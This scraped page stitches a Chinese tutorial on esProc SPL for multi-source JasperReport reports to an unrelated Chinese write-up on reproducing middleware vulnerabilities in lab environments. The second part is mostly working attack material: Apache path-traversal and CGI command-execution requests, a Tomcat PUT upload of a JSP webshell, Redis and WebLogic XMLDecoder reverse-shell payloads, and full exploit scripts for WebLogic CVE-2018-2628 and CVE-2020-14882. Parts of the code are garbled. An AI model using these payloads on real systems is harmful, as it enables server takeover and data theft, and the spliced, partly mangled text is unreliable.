Warning: error_log(/data/www/wwwroot/hmttv.cn/caches/error_log.php): failed to open stream: Permission denied in /data/www/wwwroot/hmttv.cn/phpcms/libs/functions/global.func.php on line 537 Warning: error_log(/data/www/wwwroot/hmttv.cn/caches/error_log.php): failed to open stream: Permission denied in /data/www/wwwroot/hmttv.cn/phpcms/libs/functions/global.func.php on line 537
使用 Jasper 報表工具制作報表時,常常會遇到數據來自多個數據源的情況,通常的做法是使用主子報表或者使用javabean作為數據源。使用主子報表通常會增加報表設計的復雜度,而使用javabean做數據源,則需要一個javabean類來支持,并且為了在設計報表時能夠看到數據,還要為ireport提供一個靜態方法,該方法用于返回上面定義javabean的一個結果集。
顯然,上面這兩種辦法都不太方便,本文將提供一種更加簡便的方法,那就是通過集算器來解決ireport中的多數據源問題,并進一步提高ireport的性能。我們將以JasperReport5.6.0 開發環境為例進行介紹。
ireport 中如何使用多數據源
報表項目中,常常會出現報表源數據來自不同數據庫的情況,例如同一應用系統的數據庫負載太大,不得已分成多個數據庫,就像是最常見的銷售系統數據分成當前庫和歷史庫,一部分數據存于數據庫一部分數據存于文件等。
在多數據源的數據庫類型方面,報表工具可能連接同樣類型的數據庫,比如都是mysql或者 oracle;也可能是不同的類型,如txt、csv或者Excel等。
我們的例子中,報表數據一部分來自mysql數據庫,一部分來自文本文件。
其中,mysql數據庫的employee表存儲EID為1-100000的數據,內容如下:
而data.txt文件中存儲EID為100001-101000的數據,內容如下:
我們的任務是在ireport中制作一張報表,查看employee表和emp.txt文件合并后的所有數據。這一需求通過集算器協助 ireport可以輕松實現。集算器使用我們稱之為結構化處理語言(Structured Process Language,簡稱SPL),具體的SPL代碼如下:
A1:創建數據源連接,連接mysql數據源。
A2:在mysql數據源中查詢employee表中的數據,并返回查詢結果。
A3:讀取文件emp.txt的內容。
A4:合并A2和A3數據。
A4:將A4合并后的結果返回給報表。
為了在報表中呈現計算結果,我們需要將以上 SPL 代碼存為文件 employee.dfx,然后就可以利用集算器對外提供的 JDBC 接口調用這個腳本了。
在報表工具中通過建立 JDBC 數據源引入集算器腳本的方法和調用存儲過程一樣,在 Jasper 的 SQL 設計器中可以用call employee()來調用。具體步驟在《JasperReport 調用 SPL 腳本》一文中有詳細的描述。
然后,我們可以在ireport 中設計一個最簡單的報表employee.jrxml,模板如下:
預覽后可以直接看到報表結果了:
顯然,這個過程相比傳統的主子報表或者javabean方法要簡單不少,更重要的是,計算邏輯非常清晰,集成方式也幾乎沒有任何學習成本。
性能優化
在解決了基本的功能需求后,我們還可以進一步將焦點關注到性能方面。報表項目中,常常需要將多個表連接查詢,在這些被連接的表中,可能會包含海量的數據。例如:將雇員表和訂單表通過共有字段員工編號連接起來,以便查看某些訂單的銷售人員的信息。顯然,訂單表會隨著時間的推移不斷增長,最終帶來嚴重的系統負擔。
下面例子中的報表數據一部分來自mysql數據庫的employee表,一部分來自mysql數據庫的sales表。
其中,employee表存儲EID為1-3000000的雇員數據,內容如下:
而訂單數據sales表則存儲了76萬條數據,而且持續增加。其中的數據內容樣例如下:
為了實現連接查詢,我們在ireport 中設計一個最簡單的報表mysql_join.jrxml,模板如下:
首先我們看一下傳統做法的表現。我們需要查詢早于2015-04-01,由EID小于1000001的雇員產生的銷售數據,SQL 語句如下:
select sales.OID,sales.Date,sales.EID,sales.Amount,employee.Name from sales join employee on sales.EID=employee.EID where sales.Date<'2015-04-01'and employee.EID<1000001 select sales.OID,sales.Date,sales.EID,sales.Amount,employee.Name from sales join employee on sales.EID=employee.EID where sales.Date<'2015-04-01'and employee.EID<1000001
點擊預覽,在我們的測試環境下,101s后展現計算結果:
接下來,我們看看用集算器jdbc的運行效果。將上邊的報表另存為esproc_join.jrxml。
然后編寫如下的SPL代碼:
A1:創建數據源連接,連接mysql數據源。
A2:查詢sales表中Date早于2015-04-01的數據,將結果返回成游標。
A3:查詢employee表中EID小于1000001的EID列和Name列的數據。
A4:游標A2與序表A3外鍵式連接。
A5:將游標的結果返回給報表。
接下來和前一個例子一樣,將以上 SPL 代碼存為文件esproc_join.dfx,并在數據源中定義SQL:
call esproc_join() call esproc_join()
現在,我們點擊預覽,在同樣的測試環境下,14s后就得到了完全相同的計算結果。
可見,使用集算器在簡化了ireport訪問多數據源的同時,還可以大大提高ireport的性能。本文中的例子只是集算器中一些簡單的應用。事實上,基于集算器的靈活性,使用集算器提高性能的辦法有很多,包括并行取數、可控緩存、控制SQL執行路徑、減少隱藏格、引入數據計算層等等。更多更高級的使用快來乾學院看看吧!
言
面試常問的一些中間件,學習總結一下。以下環境分別使用vulhub和vulfocus復現。
描述: Apache(音譯為阿帕奇)是世界使用排名第一的Web服務器軟件。它可以運行在幾乎所有廣泛使用的計算機平臺上,由于其跨平臺和安全性被廣泛使用,是最流行的Web服務器端軟件之一。 此漏洞的出現是由于 apache 在修復第一個后綴名解析漏洞時,用正則來匹配后綴。在解析 php 時 xxx.php\x0A 將被按照 php 后綴進行解析,導致繞過一些服務器的安全策略
說明是黑名單繞過使用編碼器,在php后面加0a
這里加a是方便修改0a
查看配置文件grep -rn "x-httpd-php"
改漏洞存在的主要原因是這個配置文件的原因
【----幫助網安學習,需要網安學習資料關注我,私信回復“資料”免費獲取----】
① 網安學習成長路徑思維導圖
② 60+網安經典常用工具包
③ 100+SRC漏洞分析報告
④ 150+網安攻防實戰技術電子書
⑤ 最權威CISSP 認證考試指南+題庫
⑥ 超1800頁CTF實戰技巧手冊
⑦ 最新網安大廠面試題合集(含答案)
⑧ APP客戶端安全檢測指南(安卓+IOS)
在測試任意文件上傳漏洞的時候,目標服務端可能不允許上傳php后綴的文件。如果目標服務器開啟了SSI與CGI支持,我們可以上傳一個shtml文件,并利用<!--#exec cmd="id" -->語法執行任意命令。
有限制,影響版本是apache全版本,支持SSI與CGI默認的擴展名是.stm、.shtm 和 .shtml
?
Apache HTTP Server2.4.49、2.4.50版本對路徑規范化所做的更改中存在一個路徑穿越漏洞,攻擊者可利用該漏洞讀取到Web目錄外的其他文件,如系統配置文件、網站源碼等,甚至在特定情況下,攻擊者可構造惡意請求執行命令,控制服務器。
符合版本payload
curl -v --path-as-is http://192.168.48.144:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
apache HTTP Server2.4.50 中針對 CVE-2021-41773 的修復不夠充分。攻擊者可以使用路徑遍歷攻擊將 URL 映射到由類似別名的指令配置的目錄之外的文件。如果這些目錄之外的文件不受通常的默認配置“要求全部拒絕”的保護,則這些請求可能會成功。如果還為這些別名路徑啟用了 CGI 腳本,則這可能允許遠程代碼執行。此問題僅影響 Apache2.4.49 和 Apache2.4.50,而不影響更早版本
POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh HTTP/1.1Host: 192.168.48.144:8080Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9If-None-Match: "2d-432a5e4a73a80"If-Modified-Since: Mon, 11 Jun 2007 18:53:14 GMTConnection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 7
echo;id
當存在漏洞的Tomcat運行在Windows/Linux主機上, 且啟用了HTTP PUT請求方法( 例如, 將readonly初始化參數由默認值設置為false) , 攻擊者將有可能可通過精心構造的攻擊請求數據包向服務器上傳包含任意代碼的JSP的webshell文件,JSP文件中的惡意代碼將能被服務器執行, 導致服務器上的數據泄露或獲取服務器權限
這里存在PUT任意文件上傳漏洞但是值得一提的是這里有個細節,org.apache.jasper.servlet.JspServlet:默認處理jsp,jspx文件請求,不存在PUT上傳邏輯,無法處理PUT請求org.apache.catalina.servlets.DefaultServlet:默認處理靜態文件(除jsp,jspx之外的文件),存在PUT上傳處理邏輯,可以處理PUT請求。也就是我們想要上傳JSP文件的話,需要進行繞過,這里其實相當于黑名單邏輯,那么我可以通過windows特性對其進行繞過。
加/繞過PUT /2.jsp/ HTTP/1.1Host: 192.168.48.144:8080Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Length: 300
<%if("666".equals(request.getParameter("pwd"))){java.io.InputStream in=Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();int a=-1;byte[] b=new byte[2048];out.print("<pre>");while((a=in.read(b))!=-1){out.println(new String(b));}out.print("</pre>");}%>
/繞過%20繞過xxx.jsp::$DATA繞過
冰蝎馬連接
ApacheTomcat AJP協議(默認8009端口)由于存在實現缺陷導致相關參數可控,攻擊者利用該漏洞可通過構造特定參數,讀取服務器webapp目錄下的任意文件。若服務器端同時存在文件上傳功能,攻擊者可進一步結合文件包含實現遠程代碼的執行。漏洞影響的產品版本包括:Tomcat6.*Tomcat7.<7.0.100Tomcat8.<8.5.51Tomcat9.*<9.0.31使用這個腳本CNVD-2020-10487-Tomcat-Ajp-lfi.pyhttps://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py 127.0.0.1 -p 47297 -f WEB-INF/web.xml這里47297是8009的映射端口
這里弱口令地點在這個manager這里
嘗試tomcat/tomcat
使用哥斯拉生成jsp馬,然后壓縮zip,修改文件名war
在這里上傳
這里多個目錄,地址請求/1/1.jspwebshell連接
Weblogic是Oracle公司推出的J2EE應用服務器。探針默認端口:7001推薦工具https://github.com/KimJun1010/WeblogicTool/
weblogic中存在一個SSRF漏洞,利用該漏洞可以發送任意HTTP請求,進而攻擊內網中redis、fastcgi等脆弱組件。影響版本Oracle WebLogic Server 10.3.6.0Oracle WebLogic Server 10.0.2.0http://192.168.48.144:7001/uddiexplorer/ 未授權訪問
ssrf payload/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001如下是存在的
否則則回顯
這個漏洞環境開兩個docker,目的是利用這個ssrf探測到這個redis服務,進而繼續進行SSRF打redis這里是直接進去docker看ip地址了,實戰中可以嘗試直接爆破weblogic可以利用%0a%0d注入換行符,而redis服務是通過換行符來分割每條命令,也就是我們可以通過該SSRF攻擊內網中的redis服務器。172.19.0.2
一個是回顯存在的,一個是回顯不存在的構造payload,這里利用redis計劃任務進行反彈shell,這里值得注意的是,因為環境是centos,所以這里才可以利用redis計劃任務攻擊,如果是ubuntu的話會不識別其中的部分命令,導致不會執行成功。set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/192.168.48.144/6655 0>&1'\n\n\n\n"config set dir /etc/config set dbfilename crontabsave進行url編碼
描述: Oracle Fusion Middleware(Oracle融合中間件)是美國甲骨文(Oracle)公司的一套面向企業和云環境的業務創新平臺。該平臺提供了中間件、軟件集合等功能。Oracle WebLogic Server是其中的一個適用于云環境和傳統環境的應用服務器組件。 Weblogic的WLS Security組件對外提供webservice服務,其中使用了XMLDecoder來解析用戶傳入的XML數據,在解析的過程中出現反序列化漏洞,導致可執行任意命令。攻擊者發送精心構造的xml數據甚至能通過反彈shell拿到權限。
該漏洞的原因主要是XMLDecoder解析用戶的XML的數據,在解析的過程中出現反序列化漏洞,我們可以通過構造XML數據通過反彈shell拿到權限。利用該工具可以直接命令執行
手工復現訪問該地址/wls-wsat/CoordinatorPortTypePOST發包,記得修改Content-Type text/xml下面的string的是文本內容
訪問wls-wsat/test.txt
構造反彈shell:::info<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> soapenv:Header<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java version="1.4.0" class="java.beans.XMLDecoder"><void class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void index="0"><string>/bin/bash</string></void><void index="1"><string>-c</string></void><void index="2"><string>bash -i >& /dev/tcp/ip/6664 0>&1</string></void></array><void method="start"/></void></java>/work:WorkContext/soapenv:Headersoapenv:Body//soapenv:Envelope:::
該漏洞通過T3協議觸發,可導致遠程命令執行漏洞影響版本
什么是T3協議?T用于在Weblogic服務器和其他類型的Java程序之間傳輸信息的協議。Weblogic會跟蹤連接到應用程序的每個Java虛擬機,要將流量傳輸到Java虛擬機,Weblogic會創建一個T3連接。該鏈接會通過消除在網絡之間的多個協議來最大化效率,從而使用較少的操作系統資源。用于T3連接的協議還可以最大限度減少數據包大小,提高傳輸速度http://192.168.48.144:7001/ 訪問7001端口,也是這個頁面,類似springboot,可以用這個作為weblogic的特征
bash -i >& /dev/tcp/192.168.48.144/6677 0>&1YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ4LjE0NC82Njc3IDA+JjE=
java -cp ysoserial-0.0.8-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 8888 CommonsCollections1 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ4LjE0NC82Njc3IDA+JjE=}|{base64,-d}|{bash,-i}'
CVE-2018-2628 EXP
from __future__ import print_function
import binascii
import os
import socket
import sys
import time
def generate_payload(path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client):
#generates ysoserial payload
command='java -jar {} {} {}:{} > payload.out'.format(path_ysoserial, jrmp_client, jrmp_listener_ip, jrmp_listener_port)
print("command: " + command)
os.system(command)
bin_file=open('payload.out','rb').read()
return binascii.hexlify(bin_file)
def t3_handshake(sock, server_addr):
sock.connect(server_addr)
sock.send('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'.decode('hex'))
time.sleep(1)
sock.recv(1024)
print('handshake successful')
def build_t3_request_object(sock, port):
data1='000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'
data2='007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format('{:04x}'.format(dport))
data3='1a7727000d3234322e323134'
data4='2e312e32353461863d1d0000000078'
for d in [data1,data2,data3,data4]:
sock.send(d.decode('hex'))
time.sleep(2)
print('send request payload successful,recv length:%d'%(len(sock.recv(2048))))
def send_payload_objdata(sock, data):
payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'
payload+=data
payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'
payload='%s%s'%('{:08x}'.format(len(payload)/2 + 4),payload)
sock.send(payload.decode('hex'))
time.sleep(2)
sock.send(payload.decode('hex'))
res=''
try:
while True:
res +=sock.recv(4096)
time.sleep(0.1)
except Exception:
pass
return res
def exploit(dip, dport, path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client):
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(65)
server_addr=(dip, dport)
t3_handshake(sock, server_addr)
build_t3_request_object(sock, dport)
payload=generate_payload(path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client)
print("payload: " + payload)
rs=send_payload_objdata(sock, payload)
print('response: ' + rs)
print('exploit completed!')
if __name__=="__main__":
#check for args, print usage if incorrect
if len(sys.argv) !=7:
print('\nUsage:\nexploit.py [victim ip] [victim port] [path to ysoserial] '
'[JRMPListener ip] [JRMPListener port] [JRMPClient]\n')
sys.exit()
dip=sys.argv[1]
dport=int(sys.argv[2])
path_ysoserial=sys.argv[3]
jrmp_listener_ip=sys.argv[4]
jrmp_listener_port=sys.argv[5]
jrmp_client=sys.argv[6]
exploit(dip, dport, path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client)
漏洞影響版本Oracle Weblogic Server 10.3.6.0.0Oracle Weblogic Server 12.1.3.0.0Oracle Weblogic Server 12.2.1.3.0Oracle Weblogic Server 12.2.1.4.0Oracle Weblogic Server 14.1.1.0.0payload 未授權訪問后臺http://192.168.48.144:7001/console/images/%252E%252E%252Fconsole.portal?nfpb=true&pageLabel=AppDeploymentsControlPage&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29
未授權RCE利用腳本https://github.com/GGyao/CVE-2020-14882_ALL/blob/master/CVE-2020-14882_ALL.py:::info#coding:utf-8import requestsimport sysimport argparseimport http.client
http.client.HTTPConnection.http_vsn=10http.client.HTTPConnection.http_vsn_str='HTTP/1.0'
requests.packages.urllib3.disable_warnings()
#功能1方法:回顯命令執行。def command(url_cmd,headers_cmd,url): try: res=requests.get(url_cmd, headers=headers_cmd,timeout=15, verify=False) if "<html" not in res.text and "<TITLE" not in res.text : print ("[+] Command success result:") print (res.text)
else:
print ("[-] " + url + " not vulnerable or command error!")
except Exception as e:
#print (e)
print ("[-] " + url + " not vulnerable or command error!")
#功能2方法:無回顯,命令執行,適用于Weblogic 10.x、12.x。def weblogic_12(url_cmd,post_12,headers_12): try: res=requests.post(url_cmd, data=post_12, headers=headers_12,timeout=15, verify=False) #print ("[+] Attack complete!") except Exception as e: print ("[+] Attack complete!")
def main(): banner=""" ___ ___ _ _ _ _ __ _ _ _ _ _ / __\ \ / / | |__ \ / _ _ \ / _ \ /_ | || | / _ \ / _ __ \ | | \ \ / /| |_ __ ) | | | | ) | | | |__| | || || () | () | ) || | \ \/ / | |_/ /| | | |/ /| | | |_| | _> _ < > _ < / / | | \ / | | / /| || / /| || | | | | || () | () / / _| \/ |__| ||_/_|___/ || |_| _/ _/|
Author:GGyao
Github:[https://github.com/GGyao](https://github.com/GGyao)
"""
print (banner)
parser=argparse.ArgumentParser()
parser.add_argument("-u", "--url", help="Target URL; Example:http://ip:port。")
parser.add_argument("-f", "--file", help="Target File; Example:target.txt。")
parser.add_argument("-c", "--cmd", help="Commands to be executed; ")
parser.add_argument("-x", "--xml", help="Remote XML file; Example:[http://vpsip/poc.xml;](http://vpsip/poc.xml;) ")
args=parser.parse_args()
#功能1:命令回顯。
if args.url !=None and args.cmd !=None:
url=args.url
url_cmd=args.url + """/console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread=(weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter=currentThread.getCurrentWork(); java.lang.reflect.Field field=adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj=field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req=(weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd=req.getHeader("cmd");String[] cmds=System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if(cmd !=null ){ String result=new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("%5C%5CA").next(); weblogic.servlet.internal.ServletResponseImpl res=(weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentThread.interrupt();')"""
headers_cmd={
'User-Agent':'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0',
'cmd':args.cmd,
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Content-Type':'application/x-www-form-urlencoded'
}
#post_cmd="""_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.WorkAdapter+adapter+%3d+((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()%3b+java.lang.reflect.Field+field+%3d+adapter.getClass().getDeclaredField("connectionHandler")%3bfield.setAccessible(true)%3bObject+obj+%3d+field.get(adapter)%3bweblogic.servlet.internal.ServletRequestImpl+req+%3d+(weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj)%3b+String+cmd+%3d+req.getHeader("cmd")%3bString[]+cmds+%3d+System.getProperty("os.name").toLowerCase().contains("window")+%3f+new+String[]{"cmd.exe",+"/c",+cmd}+%3a+new+String[]{"/bin/sh",+"-c",+cmd}%3bif(cmd+!%3d+null+){+String+result+%3d+new+java.util.Scanner(new+java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\\A").next()%3b+weblogic.servlet.internal.ServletResponseImpl+res+%3d+(weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req)%3b+res.getServletOutputStream().writeStream(new+weblogic.xml.util.StringInputStream(result))%3bres.getServletOutputStream().flush()%3bres.getWriter().write("")%3b}')"""
? #command(url_cmd,post_cmd,headers_cmd,url)? command(url_cmd,headers_cmd,url)?
#功能2:weblogic 12.x命令執行。
if args.url !=None and args.xml !=None:
url_cmd=args.url + '/console/images/%252e%252e/console.portal'
headers_12={
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0',
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Content-Type':'application/x-www-form-urlencoded'
}
post_12="""_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext(%22{}%22)""".format(args.xml)
weblogic_12(url_cmd,post_12,headers_12)
# 功能3:回顯命令執行批量。
if args.file !=None and args.cmd !=None:
#print (1)
for File in open(args.file):
File=File.strip()
url_cmd=File + """/console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread=(weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter=currentThread.getCurrentWork(); java.lang.reflect.Field field=adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj=field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req=(weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd=req.getHeader("cmd");String[] cmds=System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if(cmd !=null ){ String result=new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("%5C%5CA").next(); weblogic.servlet.internal.ServletResponseImpl res=(weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentThread.interrupt();')"""
print ("[*] >>> Test:" + File)
url=File
headers_cmd={
'User-Agent':'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0',
'cmd':args.cmd,
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Content-Type':'application/x-www-form-urlencoded'
}
#post_cmd="""_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.WorkAdapter+adapter+%3d+((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()%3b+java.lang.reflect.Field+field+%3d+adapter.getClass().getDeclaredField("connectionHandler")%3bfield.setAccessible(true)%3bObject+obj+%3d+field.get(adapter)%3bweblogic.servlet.internal.ServletRequestImpl+req+%3d+(weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj)%3b+String+cmd+%3d+req.getHeader("cmd")%3bString[]+cmds+%3d+System.getProperty("os.name").toLowerCase().contains("window")+%3f+new+String[]{"cmd.exe",+"/c",+cmd}+%3a+new+String[]{"/bin/sh",+"-c",+cmd}%3bif(cmd+!%3d+null+){+String+result+%3d+new+java.util.Scanner(new+java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\\A").next()%3b+weblogic.servlet.internal.ServletResponseImpl+res+%3d+(weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req)%3b+res.getServletOutputStream().writeStream(new+weblogic.xml.util.StringInputStream(result))%3bres.getServletOutputStream().flush()%3bres.getWriter().write("")%3b}')"""
command(url_cmd,headers_cmd,url)
if name=="main": main():::python3 CVE-2020-14882.py -u http://192.168.48.144:7001 -c "whoami"
漏洞介紹CVE-2023-21839是Weblogic產品中的遠程代碼執行漏洞,由于Weblogic IIOP/T3協議存在缺陷,當IIOP/T3協議開啟時,允許未經身份驗證的攻擊者通過IIOP/T3協議網絡訪問攻擊存在安全風險的WebLogic Server,漏洞利用成功可能會導致Oracle Weblogic服務器被控制,遠程注入操作系統命令或代碼。java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 192.168.48.144
使用工具進行攻擊下載地址https://github.com/DXask88MA/Weblogic-CVE-2023-21839java -jar Weblogic-CVE-2023-21839.jar 192.168.48.144:7001 ldap://192.168.48.144:1389/Basic/ReverseShell/192.168.48.144/6666
反彈shell成功
該漏洞復現過程為通過任意文件讀取其密文和加密的密鑰文件進行破解,然后用得到的密碼進行登陸,利用后臺文件上傳進行getshell復現過程任意文件讀取payload hello/file.jsp?path=SerializedSystemIni.dat 二進制文件是密鑰config.xml 是密文weblogic密碼使用AES加密,老版本使用的是DES。需要找到密鑰即可對密文進行解密這里利用任意文件讀取漏洞對密鑰和密文進行讀取/hello/file.jsp?path=security/SerializedSystemIni.dat
這里復制到文件/hello/file.jsp?path=config/config.xml
